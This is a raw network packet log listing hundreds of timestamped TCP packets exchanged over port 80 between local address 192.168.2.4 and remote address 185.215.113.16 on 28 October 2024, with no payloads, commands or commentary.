Oct 28, 2024 23:47:24.222166061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222172976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222204924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222271919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222273111 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222307920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222331047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222373962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222424984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222453117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222484112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222486973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222521067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222531080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222565889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222575903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222600937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222652912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222686052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222723007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222723961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222740889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222757101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222791910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222826958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222861052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222868919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222879887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222923040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222991943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223030090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223063946 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.223093033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.223095894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223141909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223184109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223228931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223261118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.223273039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223332882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.223337889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223387957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223433971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223449945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.223476887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.223499060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.223522902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.224710941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259161949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259255886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259386063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259452105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259453058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259509087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259543896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259596109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259597063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259629011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259633064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259663105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259716034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259743929 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259751081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259783030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259784937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259819031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259852886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259874105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259888887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259923935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259953976 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.259959936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.259999990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.260032892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.260061979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.260061979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.260067940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.263025999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.270809889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.270975113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271008968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271044016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271078110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271084070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271111965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271142006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271142960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271181107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271193027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271223068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271255970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271301031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271332979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271373987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271426916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271457911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271509886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271539927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271543980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271596909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271615982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271650076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271687031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271688938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271718979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271754026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271787882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.271812916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271814108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.271821976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.273722887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.273780107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.273813009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.273837090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.273889065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274120092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274172068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274225950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274264097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274279118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274313927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274317980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274365902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274400949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274421930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274437904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274452925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274482965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274528027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274575949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274599075 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274638891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274641991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274686098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274729967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274797916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274844885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274889946 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274889946 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274894953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274944067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.274979115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.274990082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275055885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275101900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275149107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275156975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.275156975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.275194883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275242090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275288105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275341034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.275352001 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.275372982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275422096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275466919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275511026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275521994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.275557995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275597095 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.275605917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275671005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275715113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275758028 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.275763035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.275798082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.313127041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.313225031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.313261986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.313268900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.313397884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.315587997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315644026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315696955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315706015 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.315731049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315767050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315800905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315835953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315871000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.315956116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.315956116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.315956116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.340809107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.340907097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.340938091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.340991020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341017008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341044903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341047049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341078997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341130018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341164112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341192007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341217995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341238022 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341268063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341320992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341355085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341425896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341434956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341434956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341460943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341582060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341613054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341646910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341653109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341681957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341690063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341734886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341788054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341789961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341823101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341856956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341887951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341891050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341923952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341957092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.341962099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341978073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.341990948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342022896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342055082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342088938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342117071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342134953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.342134953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.342158079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342190981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342220068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342236996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.342252016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342284918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.342288971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342319965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.342323065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342365026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.342442036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378221989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378318071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378331900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378380060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378433943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378468990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378479958 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378523111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378561020 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378575087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378609896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378643990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378681898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378684044 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378716946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378731012 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378752947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378786087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378791094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378818989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378854036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378887892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378906965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378906965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.378921986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378957033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.378992081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.379026890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.379034996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.379056931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.379059076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.379090071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.379117966 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.379123926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.379194975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.389647961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.389756918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.389792919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.389827013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.389841080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.389863014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.389898062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.389941931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.389969110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390010118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390023947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390057087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390120029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390178919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390261889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390281916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390315056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390350103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390384912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390419006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390434980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390434980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390469074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390499115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390526056 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390551090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390602112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390635967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390671015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390681982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390681982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390700102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390734911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390769005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390803099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390825033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390825033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.390835047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390865088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390898943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.390943050 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.391064882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.392883062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.392940044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.392973900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393026114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393047094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393076897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393102884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393111944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393141031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393192053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393193960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393227100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393260002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393296957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393333912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393379927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393410921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393414021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393428087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393445969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393476009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393510103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393543959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393548965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393594980 CET	80	49740	185.215.113.16	192.168.2.4
